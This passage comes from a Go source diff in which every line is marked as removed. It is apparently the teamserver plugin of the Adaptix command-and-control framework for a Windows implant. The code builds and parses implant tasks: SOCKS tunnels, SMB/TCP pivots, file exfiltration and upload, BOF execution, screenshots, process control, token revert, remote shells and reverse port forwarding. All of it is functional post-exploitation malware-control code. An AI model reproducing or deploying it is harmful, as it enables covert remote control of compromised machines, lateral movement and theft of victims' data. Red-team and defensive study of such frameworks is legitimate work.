burstEnabled, burstSleep, burstJitter} - } else { - err = errors.New("subcommand for 'burst' must be 'show' or 'set'") - goto RET - } - - case "socks": - taskData.Type = TYPE_TUNNEL - - portNumber, ok := args["port"].(float64) - port := int(portNumber) - if ok { - if port < 1 || port > 65535 { - err = errors.New("port must be from 1 to 65535") - goto RET - } - } - if subcommand == "start" { - address, ok := args["address"].(string) - if !ok { - err = errors.New("parameter 'address' must be set") - goto RET - } - - version4, _ := args["-socks4"].(bool) - if version4 { - tunnelId, err := ts.TsTunnelCreateSocks4(agent.Id, "", address, port) - if err != nil { - goto RET - } - taskData.TaskId, err = ts.TsTunnelStart(tunnelId) - if err != nil { - goto RET - } - taskData.Message = fmt.Sprintf("Socks4 server running on port %d", port) - - } else { - auth, _ := args["-auth"].(bool) - if auth { - username, ok := args["username"].(string) - if !ok { - err = errors.New("parameter 'username' must be set") - goto RET - } - password, ok := args["password"].(string) - if !ok { - err = errors.New("parameter 'password' must be set") - goto RET - } - tunnelId, err := ts.TsTunnelCreateSocks5(agent.Id, "", address, port, true, username, password) - if err != nil { - goto RET - } - taskData.TaskId, err = ts.TsTunnelStart(tunnelId) - if err != nil { - goto RET - } - - taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port) - - } else { - tunnelId, err := ts.TsTunnelCreateSocks5(agent.Id, "", address, port, false, "", "") - if err != nil { - goto RET - } - taskData.TaskId, err = ts.TsTunnelStart(tunnelId) - if err != nil { - goto RET - } - - taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port) - } - } - taskData.MessageType = MESSAGE_SUCCESS - taskData.ClearText = "\n" - - } else if subcommand == "stop" { - taskData.Completed = true - - ts.TsTunnelStopSocks(agent.Id, port) - - taskData.MessageType = MESSAGE_SUCCESS - taskData.Message = "Socks5 server has been stopped" - taskData.ClearText = "\n" - - } else { - err = errors.New("subcommand must be 'start' or 'stop'") - goto RET - } - - case "terminate": - if subcommand == "thread" { - array = []interface{}{COMMAND_TERMINATE, 1} - } else if subcommand == "process" { - array = []interface{}{COMMAND_TERMINATE, 2} - } else { - err = errors.New("subcommand must be 'thread' or 'process'") - goto RET - } - - case "unlink": - pivotName, ok := args["id"].(string) - if !ok { - err = errors.New("parameter 'id' must be set") - goto RET - } - - pivotId, _, _ := ts.TsGetPivotInfoByName(pivotName) - if pivotId == "" { - err = fmt.Errorf("pivot %s does not exist", pivotName) - goto RET - } - id, _ := strconv.ParseInt(pivotId, 16, 64) - - array = []interface{}{COMMAND_UNLINK, int(id)} - - case "upload": - fileName, ok := args["remote_path"].(string) - if !ok { - err = errors.New("parameter 'remote_path' must be set") - goto RET - } - localFile, ok := args["local_file"].(string) - if !ok { - err = errors.New("parameter 'local_file' must be set") - goto RET - } - - fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile) - if decodeErr != nil { - err = decodeErr - goto RET - } - - memoryId := CreateTaskCommandSaveMemory(ts, agent.Id, fileContent) - - array = []interface{}{COMMAND_UPLOAD, memoryId, ts.TsConvertUTF8toCp(fileName, agent.ACP)} - - default: - err = errors.New(fmt.Sprintf("Command '%v' not found", command)) - goto RET - } - - taskData.Data, err = PackArray(array) - if err != nil { - goto RET - } - - /// END CODE - -RET: - return taskData, messageData, err -} - -func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData { - var outTasks []adaptix.TaskData - - /// START CODE - - packer := CreatePacker(packedData) - - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - - size := packer.ParseInt32() - if size-4 != packer.Size() { - return outTasks - } - - bof_output := make(map[string]bool) - - for packer.Size() >= 8 { - - if false == packer.CheckPacker([]string{"int", "int"}) { - return outTasks - } - - TaskId := packer.ParseInt32() - commandId := packer.ParseInt32() - task := taskData - task.TaskId = fmt.Sprintf("%08x", TaskId) - - switch commandId { - - case COMMAND_CAT: - if false == packer.CheckPacker([]string{"array", "array"}) { - return outTasks - } - path := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - fileContent := packer.ParseBytes() - task.Message = fmt.Sprintf("'%v' file content:", path) - task.ClearText = string(fileContent) - - case COMMAND_CD: - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - path := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - task.Message = "Current working directory:" - task.ClearText = path - - case COMMAND_COPY: - task.Message = "File copied successfully" - - case COMMAND_DISKS: - if false == packer.CheckPacker([]string{"byte", "int"}) { - return outTasks - } - result := packer.ParseInt8() - var drives []adaptix.ListingDrivesDataWin - - if result == 0 { - errorCode := packer.ParseInt32() - task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, ts.TsWin32Error(errorCode)) - task.MessageType = MESSAGE_ERROR - - } else { - drivesCount := int(packer.ParseInt32()) - - for i := 0; i < drivesCount; i++ { - if false == packer.CheckPacker([]string{"byte", "int"}) { - return outTasks - } - var driveData adaptix.ListingDrivesDataWin - driveCode := packer.ParseInt8() - driveType := packer.ParseInt32() - - driveData.Name = fmt.Sprintf("%c:", driveCode) - if driveType == 2 { - driveData.Type = "USB" - } else if driveType == 3 { - driveData.Type = "Hard Drive" - } else if driveType == 4 { - driveData.Type = "Network Drive" - } else if driveType == 5 { - driveData.Type = "CD-ROM" - } else { - driveData.Type = "Unknown" - } - - drives = append(drives, driveData) - } - - OutputText := fmt.Sprintf(" %-5s %s\n", "Drive", "Type") - OutputText += fmt.Sprintf(" %-5s %s", "-----", "-----") - for _, item := range drives { - OutputText += fmt.Sprintf("\n %-5s %s", item.Name, item.Type) - } - task.Message = "List of mounted drives:" - task.ClearText = OutputText - } - - SyncBrowserDisks(ts, task, drives) - - case COMMAND_DOWNLOAD: - if false == packer.CheckPacker([]string{"int", "byte"}) { - return outTasks - } - fileId := fmt.Sprintf("%08x", packer.ParseInt32()) - downloadCommand := packer.ParseInt8() - if downloadCommand == DOWNLOAD_START { - if false == packer.CheckPacker([]string{"int", "array"}) { - return outTasks - } - fileSize := packer.ParseInt32() - fileName := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - task.Message = fmt.Sprintf("The download of the '%s' file (%v bytes) has started: [fid %v]", fileName, fileSize, fileId) - task.Completed = false - _ = ts.TsDownloadAdd(agentData.Id, fileId, fileName, int(fileSize)) - - } else if downloadCommand == DOWNLOAD_CONTINUE { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - fileContent := packer.ParseBytes() - task.Completed = false - _ = ts.TsDownloadUpdate(fileId, DOWNLOAD_STATE_RUNNING, fileContent) - continue - - } else if downloadCommand == DOWNLOAD_FINISH { - task.Message = fmt.Sprintf("File download complete: [fid %v]", fileId) - _ = ts.TsDownloadClose(fileId, DOWNLOAD_STATE_FINISHED) - } - - case COMMAND_EXFIL: - if false == packer.CheckPacker([]string{"int", "byte"}) { - return outTasks - } - fileId := fmt.Sprintf("%08x", packer.ParseInt32()) - downloadState := packer.ParseInt8() - - if downloadState == DOWNLOAD_STATE_STOPPED { - task.Message = fmt.Sprintf("Download '%v' successful stopped", fileId) - _ = ts.TsDownloadUpdate(fileId, DOWNLOAD_STATE_STOPPED, []byte("")) - - } else if downloadState == DOWNLOAD_STATE_RUNNING { - task.Message = fmt.Sprintf("Download '%v' successful resumed", fileId) - _ = ts.TsDownloadUpdate(fileId, DOWNLOAD_STATE_RUNNING, []byte("")) - - } else if downloadState == DOWNLOAD_STATE_CANCELED { - task.Message = fmt.Sprintf("Download '%v' successful canceled", fileId) - _ = ts.TsDownloadClose(fileId, DOWNLOAD_STATE_CANCELED) - } - - case COMMAND_EXEC_BOF: - task.Message = "BOF finished" - task.Completed = true - - case COMMAND_EXEC_BOF_OUT: - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - outputType := packer.ParseInt32() - - if outputType == BOF_ERROR_PARSE { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - _ = packer.ParseString() - - task.MessageType = MESSAGE_ERROR - task.Message = "BOF error" - task.ClearText = "Parse BOF error" - - } else if outputType == BOF_ERROR_MAX_FUNCS { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - _ = packer.ParseString() - - task.MessageType = MESSAGE_ERROR - task.Message = "BOF error" - task.ClearText = "The number of functions in the BOF file exceeds 512" - - } else if outputType == BOF_ERROR_ENTRY { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - _ = packer.ParseString() - - task.MessageType = MESSAGE_ERROR - task.Message = "BOF error" - task.ClearText = "Entry function not found" - - } else if outputType == BOF_ERROR_ALLOC { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - _ = packer.ParseString() - - task.MessageType = MESSAGE_ERROR - task.Message = "BOF error" - task.ClearText = "Error allocation of BOF memory" - - } else if outputType == BOF_ERROR_SYMBOL { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - output := packer.ParseString() - - task.MessageType = MESSAGE_ERROR - task.Message = "BOF error" - task.ClearText = "Symbol not found: " + output + "\n" - - } else if outputType == CALLBACK_ERROR { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - output := packer.ParseString() - - task.MessageType = MESSAGE_ERROR - task.Message = "BOF output" - task.ClearText = ts.TsConvertCpToUTF8(output, agentData.ACP) - - } else if outputType == CALLBACK_OUTPUT_OEM { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - output := packer.ParseString() - - _, ok := bof_output[task.TaskId] - if ok { - task.Message = "" - } else { - bof_output[task.TaskId] = true - task.Message = "BOF output" - } - - task.MessageType = MESSAGE_SUCCESS - task.ClearText = ts.TsConvertCpToUTF8(output, agentData.OemCP) - - } else if outputType == CALLBACK_OUTPUT_UTF8 { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - output := packer.ParseString() - - _, ok := bof_output[task.TaskId] - if ok { - task.Message = "" - } else { - bof_output[task.TaskId] = true - task.Message = "BOF output" - } - - task.MessageType = MESSAGE_SUCCESS - task.ClearText = output - - } else if outputType == CALLBACK_AX_SCREENSHOT { - if false == packer.CheckPacker([]string{"array", "array"}) { - return outTasks - } - note := packer.ParseString() - screen := packer.ParseBytes() - - _ = ts.TsScreenshotAdd(agentData.Id, note, screen) - - } else if outputType == CALLBACK_AX_DOWNLOAD_MEM { - if false == packer.CheckPacker([]string{"array", "array"}) { - return outTasks - } - filename := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - data := packer.ParseBytes() - fileId := fmt.Sprintf("%08x", rand.Uint32()) - - _ = ts.TsDownloadSave(agentData.Id, fileId, filename, data) - - } else { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - output := packer.ParseString() - - _, ok := bof_output[task.TaskId] - if ok { - task.Message = "" - } else { - bof_output[task.TaskId] = true - task.Message = "BOF output" - } - - task.MessageType = MESSAGE_SUCCESS - task.ClearText = ts.TsConvertCpToUTF8(output, agentData.ACP) + "\n" - } - - task.Completed = false - - case COMMAND_GETUID: - if false == packer.CheckPacker([]string{"byte", "array", "array"}) { - return outTasks - } - - high := packer.ParseInt8() - domain := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - username := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - message := "" - - if username != "" { - if domain != "" { - username = domain + "\\" + username - } - message = fmt.Sprintf("You are '%v'", username) - if high > 0 { - message += " (elevated)" - } - } - task.Message = message - - case COMMAND_JOB: - if false == packer.CheckPacker([]string{"byte", "byte"}) { - return outTasks - } - - jobType := packer.ParseInt8() - state := packer.ParseInt8() - - if jobType == JOB_TYPE_SHELL { - tunnelId := task.TaskId - - if state == JOB_STATE_STARTING { - ts.TsTerminalConnResume(agentData.Id, tunnelId, false) - - } else if state == JOB_STATE_RUNNING { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - data := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.OemCP) - ts.TsTerminalConnData(tunnelId, []byte(data)) - - } else if state == JOB_STATE_KILLED { - _ = ts.TsTerminalConnClose(tunnelId, "Terminal stopped") - - } else if state == JOB_STATE_FINISHED { - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - errorCode := packer.ParseInt32() - status := fmt.Sprintf("Error [%d]: %s", errorCode, ts.TsWin32Error(errorCode)) - _ = ts.TsTerminalConnClose(tunnelId, status) - } - - } else { - if state == JOB_STATE_RUNNING { - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - task.Completed = false - jobOutput := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.OemCP) - task.Message = fmt.Sprintf("Job [%v] output:", task.TaskId) - task.ClearText = jobOutput - } else if state == JOB_STATE_KILLED { - task.Completed = true - task.MessageType = MESSAGE_INFO - task.Message = fmt.Sprintf("Job [%v] canceled", task.TaskId) - } else if state == JOB_STATE_FINISHED { - task.Completed = true - task.Message = fmt.Sprintf("Job [%v] finished", task.TaskId) - } - } - - case COMMAND_JOB_LIST: - var Output string - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - count := packer.ParseInt32() - - if count > 0 { - Output += fmt.Sprintf(" %-10s %-5s %-13s\n", "JobID", "PID", "Type") - Output += fmt.Sprintf(" %-10s %-5s %-13s", "--------", "-----", "-------") - for i := 0; i < int(count); i++ { - if false == packer.CheckPacker([]string{"int", "word", "word"}) { - return outTasks - } - jobId := fmt.Sprintf("%08x", packer.ParseInt32()) - jobType := packer.ParseInt16() - pid := packer.ParseInt16() - - stringType := "Unknown" - if jobType == 0x1 { - stringType = "Local" - } else if jobType == 0x2 { - stringType = "Remote" - } else if jobType == 0x3 { - stringType = "Process" - } else if jobType == 0x4 { - stringType = "Shell" - } - Output += fmt.Sprintf("\n %-10v %-5v %-13s", jobId, pid, stringType) - } - task.Message = "Job list:" - task.ClearText = Output - } else { - task.Message = "No active jobs" - } - - case COMMAND_JOBS_KILL: - if false == packer.CheckPacker([]string{"byte", "int"}) { - return outTasks - } - result := packer.ParseInt8() - jobId := packer.ParseInt32() - - if result == 0 { - task.MessageType = MESSAGE_ERROR - task.Message = fmt.Sprintf("Job %v not found", jobId) - } else { - task.Message = fmt.Sprintf("Job %v mark as Killed", jobId) - } - - case COMMAND_LINK: - if false == packer.CheckPacker([]string{"byte", "int", "array"}) { - return outTasks - } - - linkType := packer.ParseInt8() - watermark := fmt.Sprintf("%08x", packer.ParseInt32()) - beat := packer.ParseBytes() - - childAgentId, _ := ts.TsListenerInteralHandler(watermark, beat) - _ = ts.TsPivotCreate(task.TaskId, agentData.Id, childAgentId, "", false) - - if linkType == 1 { - task.Message = fmt.Sprintf("----- New SMB pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId) - ts.TsAgentConsoleOutput(childAgentId, MESSAGE_SUCCESS, task.Message, "\n", true) - } else if linkType == 2 { - task.Message = fmt.Sprintf("----- New TCP pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId) - ts.TsAgentConsoleOutput(childAgentId, MESSAGE_SUCCESS, task.Message, "\n", true) - } - - case COMMAND_LS: - if false == packer.CheckPacker([]string{"byte"}) { - return outTasks - } - result := packer.ParseInt8() - - var items []adaptix.ListingFileDataWin - var rootPath string - - if result == 0 { - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - errorCode := packer.ParseInt32() - task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, ts.TsWin32Error(errorCode)) - task.MessageType = MESSAGE_ERROR - - } else { - if false == packer.CheckPacker([]string{"array", "int"}) { - return outTasks - } - rootPath = ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - rootPath, _ = strings.CutSuffix(rootPath, "\\*") - - filesCount := int(packer.ParseInt32()) - - if filesCount == 0 { - task.Message = fmt.Sprintf("The '%s' directory is EMPTY", rootPath) - } else { - - var folders []adaptix.ListingFileDataWin - var files []adaptix.ListingFileDataWin - - for i := 0; i < filesCount; i++ { - if false == packer.CheckPacker([]string{"byte", "long", "int", "array"}) { - return outTasks - } - isDir := packer.ParseInt8() - fileData := adaptix.ListingFileDataWin{ - IsDir: false, - Size: int64(packer.ParseInt64()), - Date: int64(packer.ParseInt32()), - Filename: ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP), - } - if isDir > 0 { - fileData.IsDir = true - folders = append(folders, fileData) - } else { - files = append(files, fileData) - } - } - - items = append(folders, files...) - - OutputText := fmt.Sprintf(" %-8s %-14s %-20s %s\n", "Type", "Size", "Last Modified ", "Name") - OutputText += fmt.Sprintf(" %-8s %-14s %-20s %s", "----", "---------", "---------------- ", "----") - - for _, item := range items { - t := time.Unix(item.Date, 0).UTC() - lastWrite := fmt.Sprintf("%02d/%02d/%d %02d:%02d", t.Day(), t.Month(), t.Year(), t.Hour(), t.Minute()) - - if item.IsDir { - OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "dir", "", lastWrite, item.Filename) - } else { - OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "", SizeBytesToFormat(item.Size), lastWrite, item.Filename) - } - } - task.Message = fmt.Sprintf("List of files in the '%s' directory", rootPath) - task.ClearText = OutputText - } - } - - SyncBrowserFiles(ts, task, rootPath, items) - - case COMMAND_MKDIR: - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - path := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - task.Message = fmt.Sprintf("Directory '%v' created successfully", path) - - case COMMAND_MV: - task.Message = "File moved successfully" - - case COMMAND_PIVOT_EXEC: - if false == packer.CheckPacker([]string{"int", "array"}) { - return outTasks - } - - pivotId := fmt.Sprintf("%08x", packer.ParseInt32()) - pivotData := packer.ParseBytes() - - _, _, childAgentId := ts.TsGetPivotInfoById(pivotId) - - _ = ts.TsAgentProcessData(childAgentId, pivotData) - - case COMMAND_PROFILE: - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - subcommand := packer.ParseInt32() - - if subcommand == 1 { - if false == packer.CheckPacker([]string{"int", "int"}) { - return outTasks - } - agentData.Sleep = packer.ParseInt32() - agentData.Jitter = packer.ParseInt32() - - task.Message = "Sleep time has been changed" - - _ = ts.TsAgentUpdateData(agentData) - - } else if subcommand == 2 { - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - size := packer.ParseInt32() - task.Message = fmt.Sprintf("Download chunk size set to %v bytes", size) - - } else if subcommand == 3 { - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - agentData.KillDate = int(packer.ParseInt32()) - - task.Message = "Option 'killdate' is set" - if agentData.KillDate == 0 { - task.Message = "The 'killdate' option is disabled" - } - - _ = ts.TsAgentUpdateData(agentData) - - } else if subcommand == 4 { - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - agentData.WorkingTime = int(packer.ParseInt32()) - - task.Message = "Option 'workingtime' is set" - if agentData.WorkingTime == 0 { - task.Message = "The 'workingtime' option is disabled" - } - - _ = ts.TsAgentUpdateData(agentData) - - } else if subcommand == 5 { - // Burst set response - if false == packer.CheckPacker([]string{"int", "int", "int"}) { - return outTasks - } - burstEnabled := packer.ParseInt32() - burstSleep := packer.ParseInt32() - burstJitter := packer.ParseInt32() - - task.Message = fmt.Sprintf("Burst config updated: %s", formatBurstStatus(int(burstEnabled), int(burstSleep), int(burstJitter))) - - } else if subcommand == 6 { - // Burst show response - if false == packer.CheckPacker([]string{"int", "int", "int"}) { - return outTasks - } - burstEnabled := packer.ParseInt32() - burstSleep := packer.ParseInt32() - burstJitter := packer.ParseInt32() - - task.Message = fmt.Sprintf("Burst config: %s", formatBurstStatus(int(burstEnabled), int(burstSleep), int(burstJitter))) - } - - case COMMAND_PS_LIST: - if false == packer.CheckPacker([]string{"byte", "int"}) { - return outTasks - } - - result := packer.ParseInt8() - - var proclist []adaptix.ListingProcessDataWin - - if result == 0 { - errorCode := packer.ParseInt32() - task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, ts.TsWin32Error(errorCode)) - task.MessageType = MESSAGE_ERROR - - } else { - processCount := int(packer.ParseInt32()) - - if processCount == 0 { - task.Message = "Failed to get process list" - task.MessageType = MESSAGE_ERROR - break - } - - contextMaxSize := 10 - - for i := 0; i < processCount; i++ { - if false == packer.CheckPacker([]string{"word", "word", "word", "byte", "byte", "array", "array", "array"}) { - return outTasks - } - procData := adaptix.ListingProcessDataWin{ - Pid: uint(packer.ParseInt16()), - Ppid: uint(packer.ParseInt16()), - SessionId: uint(packer.ParseInt16()), - Arch: "", - } - - isArch64 := packer.ParseInt8() - if isArch64 == 0 { - procData.Arch = "x32" - } else if isArch64 == 1 { - procData.Arch = "x64" - } - - elevated := packer.ParseInt8() - domain := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - username := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - - if username != "" { - procData.Context = username - if domain != "" { - procData.Context = domain + "\\" + username - } - if elevated > 0 { - procData.Context += " *" - } - - if len(procData.Context) > contextMaxSize { - contextMaxSize = len(procData.Context) - } - } - - procData.ProcessName = ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - proclist = append(proclist, procData) - } - - type TreeProc struct { - Data adaptix.ListingProcessDataWin - Children []*TreeProc - } - - procMap := make(map[uint]*TreeProc) - var roots []*TreeProc - - for _, proc := range proclist { - node := &TreeProc{Data: proc} - procMap[proc.Pid] = node - } - - for _, node := range procMap { - if node.Data.Ppid == 0 || node.Data.Pid == node.Data.Ppid { - roots = append(roots, node) - } else if parent, ok := procMap[node.Data.Ppid]; ok { - parent.Children = append(parent.Children, node) - } else { - roots = append(roots, node) // orphaned node - } - } - - sort.Slice(roots, func(i, j int) bool { - return roots[i].Data.Pid < roots[j].Data.Pid - }) - - var sortChildren func(node *TreeProc) - sortChildren = func(node *TreeProc) { - sort.Slice(node.Children, func(i, j int) bool { - return node.Children[i].Data.Pid < node.Children[j].Data.Pid - }) - for _, child := range node.Children { - sortChildren(child) - } - } - for _, root := range roots { - sortChildren(root) - } - - format := fmt.Sprintf(" %%-5v %%-5v %%-7v %%-5v %%-%vv %%v", contextMaxSize) - OutputText := fmt.Sprintf(format, "PID", "PPID", "Session", "Arch", "Context", "Process") - OutputText += fmt.Sprintf("\n"+format, "---", "----", "-------", "----", "-------", "-------") - - var lines []string - - var formatTree func(node *TreeProc, prefix string, isLast bool) - formatTree = func(node *TreeProc, prefix string, isLast bool) { - branch := "├─ " - if isLast { - branch = "└─ " - } - treePrefix := prefix + branch - data := node.Data - - line := fmt.Sprintf(format, data.Pid, data.Ppid, data.SessionId, data.Arch, data.Context, treePrefix+data.ProcessName) - lines = append(lines, line) - - childPrefix := prefix - if isLast { - childPrefix += " " - } else { - childPrefix += "│ " - } - - for i, child := range node.Children { - formatTree(child, childPrefix, i == len(node.Children)-1) - } - } - - for i, root := range roots { - formatTree(root, "", i == len(roots)-1) - } - - OutputText += "\n" + strings.Join(lines, "\n") - task.Message = "Process list:" - task.ClearText = OutputText - } - - SyncBrowserProcess(ts, task, proclist) - - case COMMAND_PS_KILL: - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - pid := packer.ParseInt32() - task.Message = fmt.Sprintf("Process %d killed", pid) - - case COMMAND_PS_RUN: - if false == packer.CheckPacker([]string{"int", "byte", "array"}) { - return outTasks - } - pid := packer.ParseInt32() - isOutput := packer.ParseInt8() - prog := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - - status := "no output" - if isOutput > 0 { - status = "with output" - } - - task.Completed = false - task.Message = fmt.Sprintf("Program %v started with PID %d (output - %v)", prog, pid, status) - - case COMMAND_PWD: - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - path := ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) - task.Message = "Current working directory:" - task.ClearText = path - - case COMMAND_REV2SELF: - task.Message = "Token reverted successfully" - emptyImpersonate := "" - _ = ts.TsAgentUpdateDataPartial(agentData.Id, struct { - Impersonated *string `json:"impersonated"` - }{Impersonated: &emptyImpersonate}) - - case COMMAND_RM: - if false == packer.CheckPacker([]string{"byte"}) { - return outTasks - } - result := packer.ParseInt8() - if result == 0 { - task.Message = "File deleted successfully" - } else { - task.Message = "Directory deleted successfully" - } - - case COMMAND_TUNNEL_START_TCP: - if false == packer.CheckPacker([]string{"byte"}) { - return outTasks - } - - channelId := int(TaskId) - _ = packer.ParseInt32() - result := packer.ParseInt32() - if result == 0 { - ts.TsTunnelConnectionResume(agentData.Id, channelId, false) - } else if result == 1 { - ts.TsTunnelConnectionClose(channelId) - } else { - errorCode := SOCKS5_HOST_UNREACHABLE - if result == 10061 { // WSAECONNREFUSED - errorCode = SOCKS5_CONNECTION_REFUSED - } - ts.TsTunnelConnectionHalt(channelId, errorCode) - } - - case COMMAND_TUNNEL_WRITE_TCP: - if false == packer.CheckPacker([]string{"array"}) { - return outTasks - } - - channelId := int(TaskId) - data := packer.ParseBytes() - ts.TsTunnelConnectionData(channelId, data) - - case COMMAND_TUNNEL_REVERSE: - if false == packer.CheckPacker([]string{"byte"}) { - return outTasks - } - var err error - tunnelId := int(TaskId) - _ = packer.ParseInt32() - result := packer.ParseInt32() - if result == 0 { - task.TaskId, task.Message, err = ts.TsTunnelUpdateRportfwd(tunnelId, true) - } else { - task.TaskId, task.Message, err = ts.TsTunnelUpdateRportfwd(tunnelId, false) - } - - if err != nil { - task.MessageType = MESSAGE_ERROR - } else { - task.MessageType = MESSAGE_SUCCESS - } - - case COMMAND_TUNNEL_ACCEPT: - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - tunnelId := int(TaskId) - channelId := int(packer.ParseInt32()) - ts.TsTunnelConnectionAccept(tunnelId, channelId) - - case COMMAND_TERMINATE: - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - exitMethod := packer.ParseInt32() - if exitMethod == 1 { - task.Message = "The agent has completed its work (kill thread)" - } else if exitMethod == 2 { - task.Message = "The agent has completed its work (kill process)" - } - - _ = ts.TsAgentTerminate(agentData.Id, task.TaskId) - - case COMMAND_UNLINK: - if false == packer.CheckPacker([]string{"int", "byte"}) { - return outTasks - } - - pivotId := fmt.Sprintf("%08x", packer.ParseInt32()) - pivotType := packer.ParseInt8() - - messageParent := "" - messageChild := "" - _, parentAgentId, childAgentId := ts.TsGetPivotInfoById(pivotId) - - if pivotType == 1 { - messageParent = fmt.Sprintf("SMB agent disconnected %s", childAgentId) - messageChild = fmt.Sprintf(" ----- SMB agent disconnected from [%s] ----- ", parentAgentId) - } else if pivotType == 2 { - messageParent = fmt.Sprintf("TCP agent %s connection reset", childAgentId) - messageChild = fmt.Sprintf(" ----- TCP agent connection reset ----- ") - } else if pivotType == 10 { - messageParent = fmt.Sprintf("Pivot agent %s connection reset", childAgentId) - messageChild = fmt.Sprintf(" ----- Pivot agent connection reset ----- ") - } - - if pivotType != 0 { - _ = ts.TsPivotDelete(pivotId) - if TaskId == 0 { - ts.TsAgentConsoleOutput(parentAgentId, MESSAGE_SUCCESS, messageParent, "\n", true) - } else { - task.Message = messageParent - } - ts.TsAgentConsoleOutput(childAgentId, MESSAGE_SUCCESS, messageChild, "\n", true) - } - - case COMMAND_UPLOAD: - task.Message = "File successfully uploaded" - SyncBrowserFilesStatus(ts, task) - - case COMMAND_ERROR: - if false == packer.CheckPacker([]string{"int"}) { - return outTasks - } - errorCode := packer.ParseInt32() - task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, ts.TsWin32Error(errorCode)) - task.MessageType = MESSAGE_ERROR - - default: - continue - } - - outTasks = append(outTasks, task) - } - return outTasks -} - -/// TUNNELS - -func TunnelCreateTCP(channelId int, tunnelType int, addressType int, address string, port int) ([]byte, error) { - array := []interface{}{COMMAND_TUNNEL_START_TCP, channelId, tunnelType, address, port} - return PackArray(array) -} - -func TunnelCreateUDP(channelId int, tunnelType int, addressType int, address string, port int) ([]byte, error) { - array := []interface{}{COMMAND_TUNNEL_START_UDP, channelId, address, port} - return PackArray(array) -} - -func TunnelWriteTCP(channelId int, data []byte) ([]byte, error) { - array := []interface{}{COMMAND_TUNNEL_WRITE_TCP, channelId, len(data), data} - return PackArray(array) -} - -func TunnelWriteUDP(channelId int, data []byte) ([]byte, error) { - array := []interface{}{COMMAND_TUNNEL_WRITE_UDP, channelId, len(data), data} - return PackArray(array) -} - -func TunnelClose(channelId int) ([]byte, error) { - array := []interface{}{COMMAND_TUNNEL_CLOSE, channelId} - return PackArray(array) -} - -func TunnelReverse(tunnelId int, port int) ([]byte, error) { - array := []interface{}{COMMAND_TUNNEL_REVERSE, tunnelId, port} - return PackArray(array) -} - -/// TERMINAL - -func TerminalStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) ([]byte, error) { - programArgs := ModuleObject.ts.TsConvertUTF8toCp(program, oemCP) - array := []interface{}{COMMAND_SHELL_START, terminalId, programArgs} - return PackArray(array) -} - -func TerminalWrite(terminalId int, oemCP int, data []byte) ([]byte, error) { - dataEncode := ModuleObject.ts.TsConvertUTF8toCp(string(data), oemCP) - if oemCP > 0 { - dataEncode = strings.ReplaceAll(dataEncode, "\n", "\r\n") - } - - array := []interface{}{COMMAND_SHELL_WRITE, terminalId, len(dataEncode), []byte(dataEncode)} - return PackArray(array) -} - -func TerminalClose(terminalId int) ([]byte, error) { - array := []interface{}{COMMAND_JOBS_KILL, terminalId} - return PackArray(array) -} - -// DNS Helper Functions - -func buildDNSProfileParams(generateConfig GenerateConfig, listenerMap map[string]any, - listenerWM string, agentWatermark int64, killDate int, workingTime int) ([]interface{}, error) { - - domain, _ := listenerMap["domain"].(string) - - resolvers := generateConfig.DnsResolvers - if resolvers == "" { - resolvers, _ = listenerMap["resolvers"].(string) - } - qtype, _ := listenerMap["qtype"].(string) - - pktSizeF, _ := listenerMap["pkt_size"].(float64) - ttlF, _ := listenerMap["ttl"].(float64) - labelSizeF, _ := listenerMap["label_size"].(float64) - - pktSize := int(pktSizeF) - ttl := 